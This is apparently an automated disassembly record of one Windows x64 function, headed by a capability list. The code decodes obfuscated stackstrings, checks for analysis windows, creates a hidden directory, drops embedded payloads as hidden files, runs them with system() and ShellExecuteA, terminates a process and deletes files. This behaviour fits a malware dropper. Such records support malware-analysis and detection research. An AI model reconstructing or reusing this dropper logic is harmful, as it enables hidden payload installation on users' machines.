Function at 0x140082bf0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Create thread
Delete file
Execute command
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1402fd960]
xor rax, rsp
mov qword [rbp + 0x218], rax
call fcn.14007e9d0
mov dword [rsp + 0x64], 0x47344544
mov word [rsp + 0x68], 0x100
lea rcx, [rsp + 0x64]
call fcn.1400869a0
lea r8, [0x1406ba990]
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x1d8]
call fcn.14008ac70
mov rcx, rax
call fcn.140087c00
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406bd6b0], rax
lea rcx, [rbp + 0x1d8]
call fcn.140087d80
cmp qword [0x1406bd6b0], 0xffffffffffffffff
jne 0x140083f51
movzx eax, byte [0x1406bd61b]
cmp al, 1
jne 0x140082dbc
mov dword [rsp + 0x40], 0x68747c5f
mov dword [rsp + 0x44], 0x3f707474
mov dword [rsp + 0x48], 0x42524c69
mov dword [rsp + 0x4c], 0x1005147
lea rcx, [rsp + 0x40]
call fcn.140086a30
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140082ec5
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x1402ddcb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402de010]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402de0c0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402de120]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402ddf30]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1402ddca0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1402de2d0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1402de1c0]
movdqa xmmword [rbp - 0x10], xmm1
mov word [rbp], 0x100
lea rcx, [0x1406ba9b0]
call fcn.140087c00
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140082ae0
mov rdx, rax
lea r9d, [r14 + 0x10]
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test al, al
jne 0x140082ec5
mov dword [rsp + 0x40], 0x68747c5f
mov dword [rsp + 0x44], 0x3f707474
mov dword [rsp + 0x48], 0x42524c69
mov dword [rsp + 0x4c], 0x1005147
lea rcx, [rsp + 0x40]
call fcn.140086a30
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140082ec5
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x1402ddcb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402de010]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402de0c0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402de120]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402ddf30]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1402ddca0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1402de2d0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1402de1c0]
movdqa xmmword [rbp - 0x10], xmm1
mov word [rbp], 0x100
lea rcx, [0x1406ba9b0]
call fcn.140087c00
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140082ae0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x40], 0x7e495c5a
mov dword [rsp + 0x44], 0x7c776b6e
mov dword [rsp + 0x48], 0x5b470f45
mov word [rsp + 0x4c], 0x41
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140086710
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140087ea0
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x140082fbf
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081b40
movdqa xmm0, xmmword [0x1402ddc60]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402ddee0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402de030]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402dddf0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [str.____7]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0x46
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.1400866e0
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008b340
mov rcx, rax
lea rdx, [0x14008b510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x686f7868
mov word [rsp + 0x44], 0x79
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.1400866b0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140083f53
movdqa xmm0, xmmword [0x1402de000]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], Ordinal_79
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140086680
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140087ea0
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x140083068
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081b40
movdqa xmm0, xmmword [0x1402ddc50]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402ddf50]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402dddd0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402dde40]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402ddce0]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xe0e0807
mov dword [rbp - 0x2c], 0x100431e
lea rcx, [rbp - 0x80]
call fcn.140086650
lea rdx, [rbp - 0x80]
jmp 0x140082f73
movdqa xmm0, xmmword [0x1402de020]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x534f077b
mov word [rsp + 0x54], Ordinal_79
mov byte [rsp + 0x56], 1
lea rcx, [rsp + 0x40]
call fcn.140086620
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140087ea0
mov rcx, rax
call fcn.14007eb10
test eax, eax
je 0x140083120
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081b40
movdqa xmm0, xmmword [0x1402ddc70]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402ddf50]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402dde20]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402de060]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [str.1_z:29_]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x74a0c00
mov dword [rbp - 0x2c], 0xa0a0c03
mov dword [rbp - 0x28], 0x1005f02
lea rcx, [rbp - 0x80]
call fcn.1400865f0
lea rdx, [rbp - 0x80]
jmp 0x140082f73
mov dword [rsp + 0x5c], 0x100235b
lea rcx, [rsp + 0x5c]
call fcn.140086770
lea rax, [rsp + 0x5c]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], r14b
jne 0x140083141
lea rdx, [rsp + 0x5c]
lea rcx, [0x1406ba750]
call fcn.140088af0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba7b0]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406baa10]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba670]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba650]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba6f0]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba890]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba870]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba7d0]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba910]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba710]
call fcn.140088790
call fcn.1400819d0
movzx edx, al
lea rcx, [0x1406ba930]
call fcn.140088790
sub rbx, 1
jne 0x140083171
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x118]
call fcn.14008c120
lea rcx, [rbp + 0x118]
call fcn.140088770
nop
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0xf8]
call fcn.14008c120
lea rcx, [rbp + 0xf8]
call fcn.140088770
nop
lea edx, [rbx + 0xa]
lea ecx, [rbx + 5]
call fcn.1400817a0
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.140081600
lea rcx, [rbp + 0x118]
cmp rcx, rax
je 0x1400832c7
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.140088b70
lea rcx, [rbp + 0x10]
call fcn.140087d80
mov edx, 6
lea ecx, [rdx - 4]
call fcn.1400817a0
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400816d0
lea rcx, [rbp + 0xf8]
cmp rcx, rax
je 0x140083306
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.140088b70
lea rcx, [rbp + 0x10]
call fcn.140087d80
mov word [rsp + 0x5c], 0x44
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x5c]
call fcn.1400865e0
lea rax, [rsp + 0x5c]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083330
lea rdx, [rsp + 0x5c]
lea rcx, [0x1406ba750]
call fcn.140088af0
lea rcx, [rbp + 0x118]
call fcn.140087c00
mov rdx, rax
mov r8, qword [rbp + 0x128]
lea rcx, [0x1406ba750]
call fcn.140088af0
lea rcx, [rbp + 0xf8]
call fcn.140087c00
mov rdx, rax
mov r8, qword [rbp + 0x108]
lea rcx, [0x1406ba750]
call fcn.140088af0
lea rcx, [0x1406ba750]
call fcn.140087c00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [0x1406ba750]
call fcn.140087c00
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x5c], 0x44
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x5c]
call fcn.1400865e0
lea rax, [rsp + 0x5c]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400833e0
lea rdx, [rsp + 0x5c]
lea rcx, [0x1406ba750]
call fcn.140088af0
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x198]
call fcn.14008c120
lea rcx, [rbp + 0x198]
call fcn.140088770
nop
lea rcx, [0x1406ba930]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba940]
lea rcx, [rbp + 0x198]
call fcn.140088af0
mov dword [rsp + 0x6c], 0x68636a36
mov word [rsp + 0x70], 0x100
lea rcx, [rsp + 0x6c]
call fcn.1400869a0
lea rax, [rsp + 0x6c]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083460
lea rdx, [rsp + 0x6c]
lea rcx, [rbp + 0x198]
call fcn.140088af0
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0xd8]
call fcn.14008c120
lea rcx, [rbp + 0xd8]
call fcn.140088770
nop
lea rcx, [0x1406ba7b0]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba7c0]
lea rcx, [rbp + 0xd8]
call fcn.140088af0
mov dword [rsp + 0x6c], 0x7e627c36
mov word [rsp + 0x70], 0x100
lea rcx, [rsp + 0x6c]
call fcn.1400869a0
lea rax, [rsp + 0x6c]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400834e0
lea rdx, [rsp + 0x6c]
lea rcx, [rbp + 0xd8]
call fcn.140088af0
lea r8, [rbp + 0x198]
lea rdx, [0x1406ba750]
lea rcx, [rbp + 0x58]
call fcn.14008b550
nop
lea rcx, [rbp + 0x58]
call fcn.140087c00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xd8]
lea rdx, [0x1406ba750]
lea rcx, [rbp + 0x78]
call fcn.14008b550
nop
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x2f2860
mov ecx, 0x2e3e00
call fcn.1400817a0
mov edi, eax
lea rcx, [rbp + 0x58]
call fcn.140087c00
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov r8d, edi
lea rdx, [0x140379630]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x58]
call fcn.140087c00
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov r8d, 0x1a400
lea rdx, [0x1406a0230]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0xb8]
call fcn.14008c120
lea rcx, [rbp + 0xb8]
call fcn.140088770
nop
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov rdx, rax
mov r8, qword [rbp + 0x88]
lea rcx, [rbp + 0xb8]
call fcn.140088af0
mov word [rsp + 0x5c], reloc.WS2_32.dll_getservbyport
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x5c]
call fcn.1400865e0
lea rax, [rsp + 0x5c]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400836a0
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0xb8]
call fcn.140088af0
lea rcx, [rbp + 0x58]
call fcn.140087c00
mov rdx, rax
mov r8, qword [rbp + 0x68]
lea rcx, [rbp + 0xb8]
call fcn.140088af0
lea rcx, [rbp + 0xb8]
call fcn.140087c00
mov rcx, rax
call fcn.1400818d0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x10]
call fcn.140087f00
mov rcx, rax
call fcn.14007eb10
test eax, eax
jne 0x140083884
movdqa xmm0, xmmword [str._khtn.gae]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402dde70]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402ddda0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402ddd90]
movdqa xmmword [rbp - 0x50], xmm1
mov dword [rbp - 0x40], 0x2f343878
mov dword [rbp - 0x3c], 0x2d372b35
mov dword [rbp - 0x38], 0x4c1215
mov byte [rbp - 0x34], 1
lea rcx, [0x1406ba9b0]
call fcn.140087c00
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140083f80
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movdqa xmm0, xmmword [0x1402ddfa0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402ddcd0]
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x7f786341
mov dword [rbp - 0x5c], 0x68780f0a
mov dword [rbp - 0x58], 0x17180c
mov byte [rbp - 0x54], 1
mov dword [rsp + 0x64], 0x757f6977
mov word [rsp + 0x68], 0x100
lea rcx, [rbp - 0x80]
call fcn.140083fb0
mov rbx, rax
lea rcx, [rsp + 0x64]
call fcn.140080c00
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1402ddfa0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402ddcd0]
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x97e7348
mov dword [rbp - 0x5c], 0x70614f52
mov dword [rbp - 0x58], 0x3701f
mov byte [rbp - 0x54], 1
mov dword [rsp + 0x64], 0x757f6977
mov word [rsp + 0x68], 0x100
lea rcx, [rbp - 0x80]
call fcn.140083fb0
mov rbx, rax
lea rcx, [rsp + 0x64]
call fcn.140080c00
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x98]
call fcn.14008c120
lea rcx, [rbp + 0x98]
call fcn.140088770
nop
mov dword [rsp + 0x40], 0x783a7a6b
mov dword [rsp + 0x44], 0x6b7f786e
mov dword [rsp + 0x48], 0x1000145
lea rcx, [rsp + 0x40]
call fcn.1400865b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083910
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.140088af0
lea rcx, [0x1406ba990]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba9a0]
lea rcx, [rbp + 0x98]
call fcn.140088af0
mov dword [rsp + 0x40], 0x75737b38
mov dword [rsp + 0x44], 0x776a7c6c
mov dword [rsp + 0x48], 0x100011d
lea rcx, [rsp + 0x40]
call fcn.1400865b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083980
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.140088af0
lea rcx, [rbp + 0x58]
call fcn.140087c00
mov rdx, rax
mov r8, qword [rbp + 0x68]
lea rcx, [rbp + 0x98]
call fcn.140088af0
mov dword [rsp + 0x40], 0x6b636d38
mov dword [rsp + 0x44], 0x743e2079
mov dword [rsp + 0x48], 0x464c5345
mov word [rsp + 0x4c], 0x48
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140086710
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400839f0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.140088af0
mov dword [rsp + 0x40], 0x683a7a6b
mov dword [rsp + 0x44], 0x3f6e7268
mov dword [rsp + 0x48], 0x46414046
mov dword [rsp + 0x4c], 0x100514d
lea rcx, [rsp + 0x40]
call fcn.140086a30
lea rcx, [rsp + 0x40]
call fcn.1400818d0
movdqa xmm0, xmmword [0x1402ddf90]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140086580
lea rcx, [rsp + 0x40]
call fcn.1400818d0
mov dword [rsp + 0x40], 0x683a7a6b
mov dword [rsp + 0x44], 0x3f6e7268
mov dword [rsp + 0x48], 0x494656
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140086740
lea rcx, [rsp + 0x40]
call fcn.1400818d0
mov dword [rsp + 0x40], 0x7f3a7a6b
mov dword [rsp + 0x44], 0x6b7b7179
mov dword [rsp + 0x48], 0x44540145
mov word [rsp + 0x4c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140086710
lea rcx, [rsp + 0x40]
call fcn.1400818d0
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x178]
call fcn.14008c120
lea rcx, [rbp + 0x178]
call fcn.140088770
nop
mov dword [rsp + 0x40], 0x683a7a6b
mov dword [rsp + 0x44], 0x3f6e7268
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140086550
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140083b20
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x178]
call fcn.140088af0
lea rcx, [0x1406ba990]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba9a0]
lea rcx, [rbp + 0x178]
call fcn.140088af0
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x158]
call fcn.14008c120
lea rcx, [rbp + 0x158]
call fcn.140088770
nop
mov dword [rsp + 0x40], 0x7f3a7a6b
mov dword [rsp + 0x44], 0x6b7b7179
mov dword [rsp + 0x48], 0x1000145
lea rcx, [rsp + 0x40]
call fcn.1400865b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140083ba5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x158]
call fcn.140088af0
lea rcx, [0x1406ba990]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba9a0]
lea rcx, [rbp + 0x158]
call fcn.140088af0
movzx edx, byte [rsp + 0x58]
lea rcx, [rbp + 0x1b8]
call fcn.14008c120
lea rcx, [rbp + 0x1b8]
call fcn.140088770
nop
mov dword [rsp + 0x40], 0x683a7a6b
mov dword [rsp + 0x44], 0x6b6c7c68
mov word [rsp + 0x48], 0
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.1400869d0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140083c30
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1b8]
call fcn.140088af0
lea rcx, [0x1406ba990]
call fcn.140087c00
mov rdx, rax
mov r8, qword [0x1406ba9a0]
lea rcx, [rbp + 0x1b8]
call fcn.140088af0
lea rcx, [rbp + 0x178]
call fcn.140087c00
mov rcx, rax
call fcn.1400818d0
lea rcx, [rbp + 0x158]
call fcn.140087c00
mov rcx, rax
call fcn.1400818d0
mov edx, reloc.WS2_32.dll_ntohs
lea ecx, [rdx - 0xa]
call fcn.1400817a0
mov edx, eax
lea rcx, [rbp + 0x1f8]
call fcn.140080140
nop
mov dword [rsp + 0x5c], 0x46235b
mov byte [rsp + 0x60], 1
lea rcx, [rsp + 0x5c]
call fcn.140086520
lea r8, [rbp + 0x1f8]
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x30]
call fcn.14008ac70
mov rbx, rax
mov dword [rsp + 0x64], 0x7e627c36
mov word [rsp + 0x68], 0x100
lea rcx, [rsp + 0x64]
call fcn.1400869a0
lea rax, [rsp + 0x64]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140083d01
lea rdx, [rsp + 0x64]
mov rcx, rbx
call fcn.140088af0
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.140087e70
nop
lea rcx, [rbp + 0x30]
call fcn.140087d80
mov dword [rsp + 0x6c], 0x46235b
mov byte [rsp + 0x70], 1
lea rcx, [rsp + 0x6c]
call fcn.140086520
lea r8, [rbp + 0x1f8]
lea rdx, [rsp + 0x6c]
lea rcx, [rbp - 0x80]
call fcn.14008ac70
mov rbx, rax
mov dword [rsp + 0x40], 0x7e627c36
mov word [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_60
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.1400866b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140083d86
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140088af0
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140087e70
nop
lea rcx, [rbp + 0x58]
call fcn.140087c00
inc rsi
cmp byte [rax + rsi], 0
jne 0x140083db3
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140088af0
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140087e70
nop
lea rcx, [rbp + 0x10]
call fcn.140087d80
nop
lea rcx, [rbp - 0x80]
call fcn.140087d80
lea rcx, [rbp + 0x138]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x138]
call fcn.1400800d0
mov rcx, rax
mov r8d, 0x5800
lea rdx, [0x14065d430]
call fcn.140080040
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1d8]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x138]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x138]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x78]
call fcn.140087c00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x1d8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x138]
call fcn.140087d80
nop
lea rcx, [rbp + 0x1f8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x1b8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x158]
call fcn.140087d80
nop
lea rcx, [rbp + 0x178]
call fcn.140087d80
nop
lea rcx, [rbp + 0x98]
call fcn.140087d80
nop
lea rcx, [rbp + 0xb8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x78]
call fcn.140087d80
nop
lea rcx, [rbp + 0x58]
call fcn.140087d80
nop
lea rcx, [rbp + 0xd8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x198]
call fcn.140087d80
nop
lea rcx, [rbp + 0xf8]
call fcn.140087d80
nop
lea rcx, [rbp + 0x118]
call fcn.140087d80
mov al, 1
